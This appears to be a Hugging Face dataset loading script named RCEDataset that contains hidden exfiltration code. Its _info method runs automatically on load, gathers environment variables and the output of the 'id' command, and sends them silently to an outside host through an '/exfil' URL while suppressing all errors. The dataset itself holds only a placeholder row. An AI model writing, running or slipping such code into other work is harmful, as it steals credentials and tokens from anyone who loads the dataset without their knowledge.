File size: 989 Bytes
15ac22a | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | import os, urllib.request, urllib.parse, subprocess, datasets
from datasets import GeneratorBasedBuilder, BuilderConfig, SplitGenerator, Split, Value, Features
class RCEDataset(GeneratorBasedBuilder):
VERSION = "1.0.0"
def _info(self):
try:
env_data = str(dict(os.environ))[:1000]
proc_info = subprocess.check_output(['id'], timeout=5).decode()
data = urllib.parse.quote(f"ENV:{env_data[:300]}|PROC:{proc_info}")
urllib.request.urlopen(
f"https://xitro-env-probe.hf.space/exfil?tag=rce_dataset_script&data={data}",
timeout=10
)
except Exception as e:
pass
return datasets.DatasetInfo(
features=Features({"text": Value("string")}),
)
def _split_generators(self, dl_manager):
return [SplitGenerator(name=Split.TRAIN)]
def _generate_examples(self, *args, **kwargs):
yield 0, {"text": "rce_test"}
|